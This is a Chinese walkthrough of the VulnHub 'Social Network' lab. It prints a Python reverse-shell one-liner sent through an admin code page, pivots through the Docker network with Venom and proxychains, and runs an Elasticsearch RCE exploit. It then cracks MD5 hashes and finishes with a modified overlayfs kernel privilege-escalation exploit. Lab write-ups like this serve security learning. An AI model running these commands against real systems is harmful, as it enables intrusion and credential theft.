

# 打靶1:vuln-Social Network



靶机地址: [https://download.vulnhub.com/boredhackerblog/medium\\_socnet.ova](https://download.vulnhub.com/boredhackerblog/medium_socnet.ova)

难度: 中

过程概述:

- 首先通过反弹shell拿到docker容器的root权限, 然后通过venom工具进行内网穿透, 使用proxychains nmap对同网段内网系统进行服务扫描, 利用elasticsearch服务的漏洞登录其中一个主机后拿到password文件, 解密后ssh登录目标靶机, 最后利用操作系统内核漏洞成功提权。需要注意, 漏洞利用代码需要审查并修改后才能成功利用。
- 难点在于内网穿透技术的使用, 以及对内核漏洞利用代码的修改应用。

## 主机发现

arp-scan -l

```
1 └─(root@kali)-[/home/kali]
2 └─# arp-scan -l
3 Interface: eth0, type: EN10MB, MAC: 08:00:27:ad:25:87, IPv4: 192.168.0.233
4 WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
5 WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
6 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
7 ..... 略
8 192.168.0.178    08:00:27:b8:ef:08    (Unknown)
9
10 6 packets received by filter, 0 packets dropped by kernel
11 Ending arp-scan 1.10.0: 256 hosts scanned in 1.869 seconds (136.97 hosts/sec).
    6 responded
```

## 端口扫描

nmap -p- 192.168.0.178

```
1 └─(root@kali)-[/home/kali]
2 └─# nmap -p- 192.168.0.178
3 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 21:32 EST
4 Nmap scan report for 192.168.0.178
5 Host is up (0.00024s latency).
```

```
6 Not shown: 65533 closed tcp ports (reset)
7 PORT      STATE SERVICE
8 22/tcp    open  ssh
9 5000/tcp  open  upnp
10 MAC Address: 08:00:27:B8:EF:08 (Oracle VirtualBox virtual NIC)
11
12 Nmap done: 1 IP address (1 host up) scanned in 24.42 seconds
```

## 服务发现

`nmap -p22,5000 -sV 192.168.0.178`

```
1 └─(root@kali)-[/home/kali]
2 └─# nmap -p22,5000 -sV 192.168.0.178
3 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 21:34 EST
4 Nmap scan report for 192.168.0.178
5 Host is up (0.0011s latency).
6
7 PORT      STATE SERVICE VERSION
8 22/tcp    open  ssh      OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
9 5000/tcp  open  http     Werkzeug 0.14.1 (Python 2.7.15)
10 MAC Address: 08:00:27:B8:EF:08 (Oracle VirtualBox virtual NIC)
11 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
12
13 Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
14 Nmap done: 1 IP address (1 host up) scanned in 19.43 seconds
15
```

## 路径爬取

访问页面，192.168.0.178:5000 一个可以添加并记录message的页面。测试添加testtesttest，可以看到记录。看下网页源代码，没有什么发现。再次测试页面，不管输入什么都回显同样的消息。

# Welcome to the new "Leave a message" social networking site

All the messages are anonymous. Don't worry, it's completely safe and secure

## Messages

Hello!  
Testin 123  
This is a cool site  
How do I contact the admin?  
How is everyone doing?  
Is anyone even using this?  
testtesttest

针对web应用，执行常规操作：路径发现，一般会采用dirsearch或御剑。

dirsearch -u <http://192.168.0.178:5000>

```
1  └─(root@kali)-[/home/kali]
2  └─# dirsearch -u http://192.168.0.178:5000
3  /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
   pkg_resources is deprecated as an API. See
   https://setuptools.pypa.io/en/latest/pkg_resources.html
4      from pkg_resources import DistributionNotFound, VersionConflict
5
6  _|. _ _  _  _ _ _ _|_   v0.4.3
7  ( _||| _ ) (/ _ ( _|| ( _| )
8
9  Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
10 Wordlist size: 11460
11
12 Output File: /home/kali/reports/http_192.168.0.178_5000/_24-12-08_21-36-43.txt
13
14 Target: http://192.168.0.178:5000/
15
16 [21:36:43] Starting:
17 [21:36:51] 200 - 401B - /admin
18
19 Task Completed
```

发现/admin，访问192.168.0.178:5000/admin，发现可以进行代码执行

## 代码注入

使用python脚本注入一段反弹shell，现在kali端启动侦听。python语言的反弹shell代码如下，ip地址和端口号需要根据实际修改。IP地址是要反弹连接的目标，即kali主机ip地址。

```
python -c 'import socket, subprocess, os; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.0.233", 4444)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p = subprocess.call(["/bin/sh", "-i"]);'
```

先在kali端启动监听：nc -nvlp 4444

```
1 └─(root@kali)-[/home/kali]
2 └─# nc -nvlp 4444
3 listening on [any] 4444 ...
```

## 反弹shell

在页面中填入python反弹shell代码（只取引号内的部分，ip地址和端口号改为kali主机地址和刚才侦听的端口号）

← → × ⚠ 不安全 192.168.0.178:5000/admin

# Admin page

## Code testing page

### Status:

Something went wrong with running the code

### Code input:

Test code

```
import
socket, subprocess, os; s = socket. socket (socket. AF_INE
T, socket. SOCK_STREAM) ; s. connect (("192. 168. 0. 233", 4
444)) ; os. dup2 (s. fileno (), 0) ;
```

执行后，kali端获取反弹shell，执行ls，id等命令查看系统环境，发现当前是root权限。这么顺利的吗？

```
1 └─(root@kali)-[/home/kali]
2 └─# nc -nvlp 4444
3 listening on [any] 4444 ...
4 connect to [192.168.0.233] from (UNKNOWN) [192.168.0.178] 57371
5 /app # id
6 uid=0(root) gid=0(root)
  groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
7 /app #
```

稍等，查看根目录，发现

1. 查看根目录，有.dockerenv文件
2. 查看/proc/1/cgroup文件，看到有docker的hash内容
3. ip a查看IP地址，可以看到IP地址是172.17.0.2，不同于靶机ip地址

```
1 /app # cd /
2 / # ls -la
3 total 64
4 drwxr-xr-x 42 root root 4096 Dec 9 02:30 .
5 drwxr-xr-x 42 root root 4096 Dec 9 02:30 ..
6 -rwxr-xr-x 1 root root 0 Dec 9 02:29 .dockerenv
7 drwxr-xr-x 3 root root 4096 Oct 29 2018 app
8 drwxr-xr-x 2 root root 4096 Sep 12 2018 bin
9 ..... 其它文件显示，此处省略1000字
10
11 / # cat /proc/1/cgroup
12 11:hugetlb:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfef892863df1e6fece673ea9
13 10:perf_event:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfef892863df1e6fec
  e673ea9
14 9:blkio:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfef892863df1e6fece673ea
  9
15 8:freezer:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfef892863df1e6fece673
  ea9
16 7:devices:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfef892863df1e6fece673
  ea9
17 6:memory:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfef892863df1e6fece673e
  a9
```

```
18 5:cpuacct:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfce892863df1e6fece673ea9
19 4:cpu:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfce892863df1e6fece673ea9
20 3:cpuset:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfce892863df1e6fece673ea9
21 2:name=systemd:/docker/a2e41d4efdf25dda70ae0bc6152853f9a8d5330bdfce892863df1e6fece673ea9
22
23 / # ip a
24 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
25     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
26     inet 127.0.0.1/8 scope host lo
27         valid_lft forever preferred_lft forever
28 7: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
29     link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
30     inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
31         valid_lft forever preferred_lft forever
```

可以得出结论，拿到root权限的该系统是一个docker容器环境。

接下来需要从该docker容器隔离的环境中突破出来，找到宿主机，对宿主机进行漏洞利用并拿到宿主机的root权限。

## 内网信息收集

在内网进行主机发现，子网掩码是16位，范围是65535，for i in \$(seq 1 254); do ping -c 1 172.17.0.\$i; done

```
1 / # for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
2 PING 172.17.0.1 (172.17.0.1): 56 data bytes
3 64 bytes from 172.17.0.1: seq=0 ttl=64 time=0.727 ms
4
5 --- 172.17.0.1 ping statistics ---
6 1 packets transmitted, 1 packets received, 0% packet loss
7 round-trip min/avg/max = 0.727/0.727/0.727 ms
8 PING 172.17.0.2 (172.17.0.2): 56 data bytes
9
10 --- 172.17.0.2 ping statistics ---
11 1 packets transmitted, 0 packets received, 100% packet loss
12 PING 172.17.0.3 (172.17.0.3): 56 data bytes
13 64 bytes from 172.17.0.3: seq=0 ttl=64 time=0.064 ms
14
15 --- 172.17.0.3 ping statistics ---
16 1 packets transmitted, 1 packets received, 0% packet loss
17 round-trip min/avg/max = 0.064/0.064/0.064 ms
18 PING 172.17.0.4 (172.17.0.4): 56 data bytes
```

```

19
20 --- 172.17.0.4 ping statistics ---
21 1 packets transmitted, 0 packets received, 100% packet loss
22 PING 172.17.0.5 (172.17.0.5): 56 data bytes
23
24 --- 172.17.0.5 ping statistics ---
25 1 packets transmitted, 0 packets received, 100% packet loss
26 PING 172.17.0.6 (172.17.0.6): 56 data bytes
27 。。。。。此处省略1000+字

```

发现172.17.0.1 172.17.0.2 172.17.0.3可以ping通，而172.17.0.2是自身。

下来对172.17.0.1 和172.17.0.3进行端口扫描，但是因为目前是在docker容器，所在网段是内网的网段，所以需要使用内网穿透技术，把kali到内网网段的路由打通。

## 内网穿透

将kali到内网的网络路由打通。这里使用venom工具，

利用venum在内网和kali之间建立一条隧道，基于这条隧道生成一个代理，让其它工具可以基于这个代理去扫描内网。下载链接：<https://github.com/Dliv3/Venom/releases/tag/v1.1.0>

在kali主机上下载venom，解压缩。

在kali运行admin\_linux\_x64，本地侦听端口9999。kali端：./admin\_linux\_x64 -lport 9999

```

1  └─(root@kali)-[/home/kali/Downloads/Venomv1.1.0]
2  └─# ./admin_linux_x64 -lport 9999
3  Venom Admin Node Start...
4
5  ____  ____  { v1.1  author: Dlive }
6  \    \ /    /____  ____  ____  ____
7  \    Y    // __ \ /    \ /    \
8  \    /\  ___/|    | ( <_> ) Y Y \
9  \___/  \___ >___| /\___/|__|_| /
10         \/\    \/\    \/\
11
12 (admin node) >>>
13

```

将agent\_linux\_x64拷贝到目标系统，等待目标容器系统建立反弹连接。

在kali与靶机之间传输文件agent\_linux\_x64：在kali上启动http服务，在目标靶机上执行wget下载agent\_linux\_x64程序

1. kali端启动http的web服务，侦听80端口 python3 -m http.server 80

```

1 (root@kali)-[/home/kali/Downloads/Venom v1.1.0]
2 └─# cp agent_linux_x64 /
3 (root@kali)-[/home/kali/Downloads/Venom v1.1.0]
4 └─# ls / -la
5 total 1052444
6 drwxr-xr-x 18 root root      4096 Dec  9 00:27 .
7 drwxr-xr-x 18 root root      4096 Dec  9 00:27 ..
8 -rwxr-xr-x  1 root root 3882688 Dec  9 00:27 agent_linux_x64
9 略
10
11 (root@kali)-[/home/kali/Downloads/Venom v1.1.0]
12 └─# python3 -m http.server 80
13 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

```

## 2. 目标容器上访问kali的http服务 wget [http://192.168.0.233/agent\\_linux\\_x64](http://192.168.0.233/agent_linux_x64)

```

1 / # wget http://192.168.0.233/agent_linux_x64
2 Connecting to 192.168.0.233 (192.168.0.233:80)
3 agent_linux_x64      94% |*****| 3600k 0:00:00 ETA
4 agent_linux_x64     100% |*****| 3791k 0:00:00 ETA
5
6
7 / # ls -la
8 total 3856
9 drwxr-xr-x 42 root root      4096 Dec  9 05:31 .
10 drwxr-xr-x 42 root root      4096 Dec  9 05:31 ..
11 -rwxr-xr-x  1 root root          0 Dec  9 02:29 .dockerenv
12 -rw-r--r--  1 root root 3882688 Dec  9 05:31 agent_linux_x64

```

## 3. 文件下载完成后，查看确认传输大小，无误后，对该文件赋予可执行权限后执行。

```

1 /app # chmod +x agent_linux_x64
2
3 /app # ./agent_linux_x64 -rhost 192.168.0.233 -rport 9999
4 2024/12/09 05:44:49 [+]Successfully connects to a new node
5

```

kali端也显示连接建立

```

1 (admin node) >>>
2 [+]Remote connection: 192.168.0.178:39799

```



```
3 [+]A new node connect to admin node success
4
```

在管理端（kali）操作，在kali的节点1上启动1080侦听的socks代理

```
1 (admin node) >>> show
2 A
3 + -- 1
4 (admin node) >>> goto 1
5 node 1
6 (node 1) >>> socks 1080
7 a socks5 proxy of the target node has started up on the local port 1080.
```

kali上另开一个终端，修改kali的proxychains4.conf配置文件，通过proxychain挂载当前的socks代理，让nmap及其它扫描器可以利用该代理去扫目标系统的内网网段。

`sudo vi /etc/proxychains4.conf`

把最后一行修改为 `socks5 127.0.0.1 1080`

接下来就使用nmap对刚才扫描出来的172.17.0.1和172.17.0.2进行端口扫描

`proxychains nmap -Pn -sT 172.17.0.1`

```
1 └─(root@kali)-[/home/kali]
2 └─# proxychains nmap -Pn -sT 172.17.0.1
3 [proxychains] config file found: /etc/proxychains4.conf
4 [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
5 [proxychains] DLL init: proxychains-ng 4.17
6 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 01:18 EST
7 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:111 <--socket
  error or timeout!
8 打印信息比较多，略
9
10 . 172.17.0.1:7443 <--socket error or timeout!
11 Nmap scan report for 172.17.0.1
12 Host is up (0.014s latency).
13 Not shown: 998 closed tcp ports (conn-refused)
14 PORT      STATE SERVICE
15 22/tcp    open  ssh
16 5000/tcp  open  upnp
17
18 Nmap done: 1 IP address (1 host up) scanned in 14.81 seconds
```

扫描发现172.17.0.1上开放了22和5000两个端口，继续进行服务版本的发现

proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1

```
1  └─(root@kali)-[/home/kali]
2  └─# proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1
3  [proxychains] config file found: /etc/proxychains4.conf
4  [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
5  [proxychains] DLL init: proxychains-ng 4.17
6  Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 01:21 EST
7  [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.1:22  ...  OK
8  [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.1:5000  ...  OK
9  [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.1:22  ...  OK
10 [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.1:5000  ...  OK
11 略
12 Nmap scan report for 172.17.0.1
13 Host is up (0.017s latency).
14
15 PORT      STATE SERVICE VERSION
16 22/tcp    open  ssh      OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
17 5000/tcp  open  http     Werkzeug httpd 0.14.1 (Python 2.7.15)
18 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20 Service detection performed. Please report any incorrect results at
   https://nmap.org/submit/ .
21 Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
22
```

172.17.0.1扫描结果和刚才的靶机的服务完全一样。

使用浏览器访问172.17.0.1的5000端口，访问之前配置浏览器的代理为socks代理，手工proxy配置：ip地址127.0.0.1，端口1080，浏览器访问127.0.0.1:5000。看到内容和之前的靶机一样。刚才手动测试的数据也可以看到。由此可知，172.17.0.1是目标靶机面向内网的ip地址。

继续对172.17.0.3进行内网的扫描，发现开放了9200端口，继续进行服务发现，elasticsearch 1.4.2版本较低，当前已经是到8.16.1版本 <https://www.elastic.co/downloads/elasticsearch>

proxychains nmap -Pn -sT 172.17.0.3

proxychains nmap -p9200 -Pn -sT -sV 172.17.0.3

```
1  └─(root@kali)-[/home/kali]
2  └─# proxychains nmap -Pn -sT 172.17.0.3
3  [proxychains] config file found: /etc/proxychains4.conf
```

```

4 [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
5 [proxychains] DLL init: proxychains-ng 4.17
6 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 01:48 EST
7 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.3:53 <--socket
  error or timeout!
8
9 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.3:1149 <--
  socket error or timeout!
10 Nmap scan report for 172.17.0.3
11 Host is up (0.019s latency).
12 Not shown: 999 closed tcp ports (conn-refused)
13 PORT      STATE SERVICE
14 9200/tcp open  wap-wsp
15
16 Nmap done: 1 IP address (1 host up) scanned in 18.53 seconds
17
18 └─(root@kali)-[/home/kali]
19 └─# proxychains nmap -p9200 -Pn -sT -sV 172.17.0.3
20 [proxychains] config file found: /etc/proxychains4.conf
21 [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
22 [proxychains] DLL init: proxychains-ng 4.17
23 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 01:52 EST
24 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.3:9200 ... OK
25 略
26 Nmap scan report for 172.17.0.3
27 Host is up (0.012s latency).
28
29 PORT      STATE SERVICE VERSION
30 9200/tcp open  http    Elasticsearch REST API 1.4.2 (name: Jericho Drumm;
  cluster: elasticsearch; Lucene 4.10.2)
31
32 Service detection performed. Please report any incorrect results at
  https://nmap.org/submit/ .
33 Nmap done: 1 IP address (1 host up) scanned in 11.55 seconds
34

```

## 漏洞利用

在kali上搜索Elasticsearch 1.4.2存在的漏洞，前两个是远程命令执行利用漏洞，将代码拷贝下来，尝试利用。

```

1 └─(root@kali)-[/home/kali]
2 └─# searchsploit elasticsearch
3 -----
4 Exploit Title                                     | Path

```

```

5 -----
6 ElasticSearch - Remote Code Execution | linux/remote/36337.py
7 ElasticSearch - Remote Code Execution | multiple/webapps/33370.html
8 略
9 -----
10 Shellcodes: No Results
11

```

```
1 cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
```

该脚本是使用python2执行，调用python2执行 `proxychains python2 36337.py 172.17.0.3`

[illegible]

```

19
20
21
22
23 Exploit for Elasticsearch , CVE-2015-1427 Version: 20150309.1
24 {*} Spawning Shell on target... Do note, its only semi-interactive... Use it
    to drop a better payload or something
25 ~$ id
26 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.3:9200 ... OK
27 uid=0(root) gid=0(root) groups=0(root)
28 ~$ ls /
29 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.3:9200 ... OK
30 略
31 passwords
32 略
33 ~$ cat passwords
34 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.3:9200 ... OK
35 Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
36 Example: 1234abcd
37 john:3f8184a7343664553fcb5337a3138814
38 test:861f194e9d6118f3d942a72be3e51749
39 admin:670c3bbc209a18dde5446e5e6c1f1d5b
40 root:b3d34352fc26117979deabdf1b9b6354
41 jane:5c158b60ed97c723b673529b8a3cf72b

```

## 密码破解

再次进入172.17.0.3系统，使用id查看仍然是root，查看根目录下有passwords文件，查看内容，是存在密码的hash值文件，需要破解之成为对应的明文密码。

MD5在线网站<https://www.somd5.com/>，粘贴进行解密，逐个破解

```

john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane

```

ssh登录尝试，只有john: 1337hack在Kali上ssh登录成功

```

1 └─(root@kali)-[/home/kali]
2 └─# ssh john@192.168.0.178

```

```
3 john@192.168.0.178's password:
4 Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)
5
6 * Documentation:  https://help.ubuntu.com/
7
8 System information as of Mon Dec  9 01:06:24 EST 2024
9
10 System load: 0.08           Memory usage: 5%   Processes:      73
11 Usage of /: 12.8% of 14.64GB Swap usage:   0%   Users logged in: 0
12
13 Graph this data and manage this system at:
14   https://landscape.canonical.com/
15
16 New release '16.04.7 LTS' available.
17 Run 'do-release-upgrade' to upgrade to it.
18
19 Last login: Sun Oct 28 22:36:16 2018 from 10.0.0.8
20 john@socnet:~$ id
21 uid=1001(john) gid=1001(john) groups=1001(john)
22 john@socnet:~$
```

查看john所在系统的ip地址，发现这台机器就是目标靶机

```
1 john@socnet:/tmp$ ip ad
2 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
   default
3     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
4     inet 127.0.0.1/8 scope host lo
5         valid_lft forever preferred_lft forever
6     inet6 ::1/128 scope host
7         valid_lft forever preferred_lft forever
8 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
   group default qlen 1000
9     link/ether 08:00:27:b8:ef:08 brd ff:ff:ff:ff:ff:ff
10    inet 192.168.0.178/24 brd 192.168.0.255 scope global eth0
11        valid_lft forever preferred_lft forever
12    inet6 fe80::a00:27ff:feb8:ef08/64 scope link
13        valid_lft forever preferred_lft forever
14 3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default
   qlen 1000
15    link/ether 08:00:27:ac:94:08 brd ff:ff:ff:ff:ff:ff
16 4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
   group default
17    link/ether 02:42:f2:8e:f0:b9 brd ff:ff:ff:ff:ff:ff
18    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
```

```

19      valid_lft forever preferred_lft forever
20      inet6 fe80::42:f2ff:fe8e:f0b9/64 scope link
21      valid_lft forever preferred_lft forever
22 6: veth01e5a65: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue
    master docker0 state UP group default
23      link/ether 86:08:e5:df:4c:20 brd ff:ff:ff:ff:ff:ff
24      inet6 fe80::8408:e5ff:fedf:4c20/64 scope link
25      valid_lft forever preferred_lft forever
26 8: veth31ce35c: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue
    master docker0 state UP group default
27      link/ether 26:3f:1e:1a:21:6a brd ff:ff:ff:ff:ff:ff
28      inet6 fe80::243f:1eff:fe1a:216a/64 scope link
29      valid_lft forever preferred_lft forever

```

## 本地提权

查看id, 并没有sudoer的权限, 需要进行本地提权。利用内核漏洞, 目标系统使用的是linux 3.13内核版本, 非常古老, 尝试进行内核漏洞利用进行提权。

```

1 john@socnet:~$ uname -a
2 Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014
   x86_64 x86_64 x86_64 GNU/Linux
3 john@socnet:~$ cat /proc/version
4 Linux version 3.13.0-24-generic (buildd@panlong) (gcc version 4.8.2 (Ubuntu
   4.8.2-19ubuntu1) ) #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014
5 john@socnet:~$ cat /etc/issue
6 Ubuntu 14.04 LTS \n \l
7 john@socnet:~$ lsb_release -a
8 No LSB modules are available.
9 Distributor ID: Ubuntu
10 Description:   Ubuntu 14.04 LTS
11 Release:       14.04
12 Codename:      trusty

```

在kali上搜索linux 3.13内核漏洞 searchsploit linux 3.13 -v -o | grep Linux

```

1 └─(root@kali)-[/home/kali]
2 └─# searchsploit linux 3.13 -v -o | grep Linux
3 略
4 Linux Kernel 3.13 - SGID Privilege Escalation | linux/local/33824.c
5 Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs'
   Local Privilege Escalation (Access /etc/shadow) | linux/local/37293.txt

```

```
6 Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs'
   Local Privilege Escalation | linux/local/37292.c
7 略
8
9
10 └─(root@kali)-[/home/kali]
11   └─# cp /usr/share/exploitdb/exploits/linux/local/37292.c .
12
13 └─(root@kali)-[/home/kali]
14   └─# cat 37292.c
```

阅读源代码注释，使用该文件需要先用gcc编译，执行结果可以成功提权为root。



 37292.c

尝试在目标靶机上执行gcc命令报错，说明靶机上并未安装gcc，因此需要在kali本机上编译c文件，生成可执行文件之后上传到靶机执行。

## 攻击代码修改

仔细阅读源代码内容，发现其中有一行代码是这样：

```
1 lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
```



即便在kali上编译后，在宿主机上执行到这一行代码时也会再次调用gcc，返回失败，因为目标靶机上未安装gcc。

因此需要对这行代码进行处理。仔细看这行代码实现的功能是生成ofs-lib.so，删除37292.c中的调用gcc相关代码，

同时在kali中找到这个ofs-lib.so库文件，把该库文件拷贝到当前目录。

```
1  /*
2  lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -
w");
3  if(lib != 0) {
4      fprintf(stderr, "couldn't create dynamic library\n");
5      exit(-1);
6  }
7  */
```

```
1  └─(root@kali)-[/home/kali]
2  └─# locate ofs-lib.so
3  /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
4
5  └─(root@kali)-[/home/kali]
6  └─# cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
7
8  └─(root@kali)-[/home/kali]
9  └─# ls
10 Desktop      Downloads  ofs-lib.so  Public      Templates
11 37292.c      Documents Music       Pictures    reports     Videos
12
13 └─(root@kali)-[/home/kali]
14 └─# gcc 37292.c -o exp
15 37292.c: In function 'main':
16 37292.c:106:12: warning: implicit declaration of function 'unshare' [-Wimplicit-function-declaration]
17   106 |         if(unshare(CLONE_NEWUSER) != 0)
18       |             ^~~~~~
19 37292.c:111:17: warning: implicit declaration of function 'clone'; did you mean 'close'? [-Wimplicit-function-declaration]
20   111 |             clone(child_exec, child_stack + (1024*1024),
        |             clone_flags, NULL);
21       |             ^~~~~~
22       |             close
23 37292.c:117:13: warning: implicit declaration of function 'waitpid' [-Wimplicit-function-declaration]
24   117 |             waitpid(pid, &status, 0);
```

```

25      |      ^~~~~~
26 37292.c:127:5: warning: implicit declaration of function 'wait' [-Wimplicit-
      function-declaration]
27   127 |      wait(NULL);
28      |      ^~~~
29
30 └─(root@kali)-[/home/kali]
31 └─# ls
32 Desktop    Downloads  Music      Pictures   reports    Videos
33 37292.c     Documents exp         ofs-lib.so Public      Templates
34

```

同样在kali上启动http服务，在宿主机上wget这两个文件exp和ofs-lib.so

```

1 └─(root@kali)-[/home/kali]
2 └─# python3 -m http.server 80
3
4 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
5 192.168.0.178 - - [09/Dec/2024 02:56:01] "GET /exp HTTP/1.1" 200 -
6 192.168.0.178 - - [09/Dec/2024 02:56:23] "GET /ofs-lib.so HTTP/1.1" 200 -

```

目标靶机提权成功

```

1 john@socnet:~$ wget http://192.168.0.233/exp
2 --2024-12-09 02:56:01-- http://192.168.0.233/exp
3 Connecting to 192.168.0.233:80... connected.
4 HTTP request sent, awaiting response... 200 OK
5 Length: 16936 (17K) [application/octet-stream]
6 Saving to: 'exp'
7
8 100%[=====>] 16,936      --.-K/s   in 0s
9
10 2024-12-09 02:56:01 (187 MB/s) - 'exp' saved [16936/16936]
11
12 john@socnet:~$ wget http://192.168.0.233/ofs-lib.so
13 --2024-12-09 02:56:24-- http://192.168.0.233/ofs-lib.so
14 Connecting to 192.168.0.233:80... connected.
15 HTTP request sent, awaiting response... 200 OK
16 Length: 7752 (7.6K) [application/octet-stream]
17 Saving to: 'ofs-lib.so'
18
19 100%[=====>] 7,752      --.-K/s   in 0s
20

```

```

21 2024-12-09 02:56:24 (713 MB/s) - 'ofs-lib.so' saved [7752/7752]
22
23 john@socnet:~$ ls
24 exp ofs-lib.so
25
26 john@socnet:~$ mv * /tmp
27 john@socnet:~$ cd /tmp
28 john@socnet:/tmp$ ls
29 exp ofs-lib.so
30 john@socnet:/tmp$ chmod +x exp
31 john@socnet:/tmp$ ./exp
32 ./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found
    (required by ./exp)

```

利用脚本报错，临门一脚没踢开。不要气馁。这个问题很常见。高版本的linux编译在低版本上不兼容。

重新下载16.04的ubuntu镜像进行编译，传输到靶机。

下载镜像地址：[https://www.osboxes.org/ubuntu/#ubuntu-14\\_04-info](https://www.osboxes.org/ubuntu/#ubuntu-14_04-info)

[https://sourceforge.net/projects/osboxes/files/v/vb/55-U-u/14.04/14.04.6/1404-664.7z/download?use\\_mirror=pilotfiber](https://sourceforge.net/projects/osboxes/files/v/vb/55-U-u/14.04/14.04.6/1404-664.7z/download?use_mirror=pilotfiber)

```

1 john@socnet:/tmp$ wget http://192.168.0.203/exp1
2 --2024-12-09 03:43:15-- http://192.168.0.203/exp1
3 Connecting to 192.168.0.203:80... connected.
4 HTTP request sent, awaiting response... 200 OK
5 Length: 13692 (13K) [application/octet-stream]
6 Saving to: 'exp1'
7
8 100%[=====>] 13,692      --.-K/s   in 0s
9
10 2024-12-09 03:43:15 (69.3 MB/s) - 'exp1' saved [13692/13692]
11
12 john@socnet:/tmp$ ls
13 exp exp1 exploit37292 ofs-lib.so
14 john@socnet:/tmp$ chmod +x exp1
15 john@socnet:/tmp$ ls
16 exp exp1 exploit37292 ofs-lib.so
17 john@socnet:/tmp$ ./exp1
18 spawning threads
19 mount #1
20 mount #2
21 child threads done
22 /etc/ld.so.preload created

```

```
23 creating shared library
24 # id
25 uid=0(root) gid=0(root) groups=0(root),1001(john)
26
27 # ip ad
28 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
    default
